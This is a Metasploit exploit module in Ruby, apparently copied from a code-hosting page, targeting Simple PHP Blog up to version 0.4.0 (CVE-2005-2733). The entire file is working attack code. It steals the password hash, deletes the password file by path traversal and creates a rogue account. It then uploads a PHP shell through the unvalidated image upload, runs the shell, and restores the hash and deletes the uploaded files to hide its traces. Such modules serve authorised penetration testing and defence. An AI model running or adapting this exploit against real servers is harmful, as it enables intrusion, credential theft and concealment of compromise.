232 lines
6.4 KiB
Ruby
232 lines
6.4 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Simple PHP Blog Remote Command Execution',
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'Description' => %q{
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This module combines three separate issues within The Simple PHP Blog (<= 0.4.0)
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application to upload arbitrary data and thus execute a shell. The first
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vulnerability exposes the hash file (password.txt) to unauthenticated users.
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The second vulnerability lies within the image upload system provided to
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logged-in users; there is no image validation function in the blogger to
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prevent an authenticated user from uploading any file type. The third
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vulnerability occurs within the blog comment functionality, allowing
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arbitrary files to be deleted.
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},
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'Author' => [ 'Matteo Cantoni <goony[at]nothink.org>', 'patrick' ],
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'License' => MSF_LICENSE,
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'References' =>
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[
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['CVE', '2005-2733'],
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['OSVDB', '19012'],
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['BID', '14667'],
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['EDB', '1191'],
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],
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'Privileged' => false,
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'Payload' =>
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{
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'DisableNops' => true,
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'Compat' =>
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{
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'ConnectionType' => 'find',
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},
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},
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'Platform' => 'php',
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'Arch' => ARCH_PHP,
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'Targets' => [[ 'Automatic', { }]],
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'DisclosureDate' => 'Aug 25 2005',
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('URI', [true, "Sphpblog directory path", "/sphpblog"]),
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])
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end
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def check
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res = send_request_raw({
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'uri' => normalize_uri(datastore['URI'], '/index.php')
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}, 25)
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if (res and res.body =~ /Simple PHP Blog (\d)\.(\d)\.(\d)/)
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ver = [ $1.to_i, $2.to_i, $3.to_i ]
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vprint_status("Simple PHP Blog #{ver.join('.')}")
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if (ver[0] == 0 and ver[1] < 5)
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if (ver[1] == 4 and ver[2] > 0)
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return Exploit::CheckCode::Safe
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end
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return Exploit::CheckCode::Appears
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end
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end
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return Exploit::CheckCode::Safe
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end
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def retrieve_password_hash(file)
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res = send_request_raw({
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'uri' => normalize_uri(datastore['URI'], file)
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}, 25)
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if (res and res.message == "OK" and res.body)
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print_good("Successfully retrieved hash: #{res.body}")
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return res.body
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else
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fail_with(Failure::NotVulnerable, "Failed to retrieve hash, server may not be vulnerable.")
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return false
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end
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end
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def create_new_password(user, pass)
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res = send_request_cgi({
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'uri' => normalize_uri(datastore['URI'], '/install03_cgi.php'),
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'method' => 'POST',
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'data' => "user=#{user}&pass=#{pass}",
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}, 25)
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if (res)
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print_good("Successfully created temporary account.")
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else
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print_error("Unable to create a temporary account!")
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end
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end
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def retrieve_session(user, pass)
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res = send_request_cgi({
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'uri' => normalize_uri(datastore['URI'], "/login_cgi.php"),
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'method' => 'POST',
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'data' => "user=#{user}&pass=#{pass}",
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}, 25)
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if res
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print_good("Successfully logged in as #{user}:#{pass}")
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if res.get_cookies =~ /my_id=(.*)/
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session = $1
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print_good("Successfully retrieved cookie: #{session}")
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return session
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else
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print_error("Error retrieving cookie!")
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end
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else
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print_error("No response received while logging in.")
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end
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end
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def upload_page(session, dir, newpage, contents)
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boundary = rand_text_alphanumeric(6)
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data = "--#{boundary}\r\nContent-Disposition: form-data; name=\"userfile\"; "
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data << "filename=\"#{newpage}\"\r\nContent-Type: text/plain\r\n\r\n"
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data << contents
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data << "\r\n--#{boundary}--"
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res = send_request_raw({
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'uri' => normalize_uri(datastore['URI'], "/upload_img_cgi.php"),
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'method' => 'POST',
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'data' => data,
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'headers' =>
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{
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'Content-Type' => 'multipart/form-data; boundary=' + boundary,
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'Content-Length' => data.length,
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'Cookie' => "my_id=#{session}; PHPSESSID=#{session}",
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}
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}, 25)
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if (res)
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print_good("Successfully Uploaded #{newpage}")
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else
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print_error("Error uploading #{newpage}")
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end
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end
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def reset_original_password(hash, scriptlocation)
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res = send_request_cgi({
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'uri' => normalize_uri(datastore['URI'], scriptlocation),
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'method' => 'POST',
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'data' => "hash=" + hash,
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}, 25)
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if (res)
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print_good("Successfully reset original password hash.")
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else
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print_error("Error resetting original password!")
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end
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end
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def delete_file(file)
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delete_path = "/comment_delete_cgi.php?y=05&m=08&comment=.#{file}"
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res = send_request_raw({
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'uri' => normalize_uri(datastore['URI'], delete_path),
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}, 25)
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if (res)
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print_good("Successfully removed #{file}")
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else
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print_error("Error removing #{file}!")
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end
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end
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def cmd_shell(cmdpath)
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print_status("Calling payload: #{cmdpath}")
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res = send_request_raw({
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'uri' => datastore['URI'] + cmdpath
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}, 25)
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end
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def exploit
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# Define the scripts to be uploaded to aid in exploitation
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cmd_php = '<?php ' + payload.encoded + '?>'
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reset_php = %Q|
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<?php $hash = $_POST['hash'];
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$fp = fopen("../config/password.txt","w");
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fwrite($fp,$hash);
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fpclose($fp);
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?>|
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# Generate some random strings
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cmdscript = rand_text_alphanumeric(20) + '.php'
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resetscript = rand_text_alphanumeric(20) + '.php'
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newuser = rand_text_alphanumeric(6)
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newpass = rand_text_alphanumeric(6)
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# Static files
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directory = '/images/'
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cmdpath = directory + cmdscript
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resetpath = directory + resetscript
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passwdfile = '/config/password.txt'
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# Let's do this thing
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hash = retrieve_password_hash(passwdfile)
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delete_file(passwdfile)
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create_new_password(newuser, newpass)
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session = retrieve_session(newuser, newpass)
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upload_page(session, directory, resetscript, reset_php)
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upload_page(session, directory, cmdscript, cmd_php)
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reset_original_password(hash, resetpath)
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delete_file(resetpath)
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cmd_shell(cmdpath)
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delete_file(cmdpath)
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end
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end
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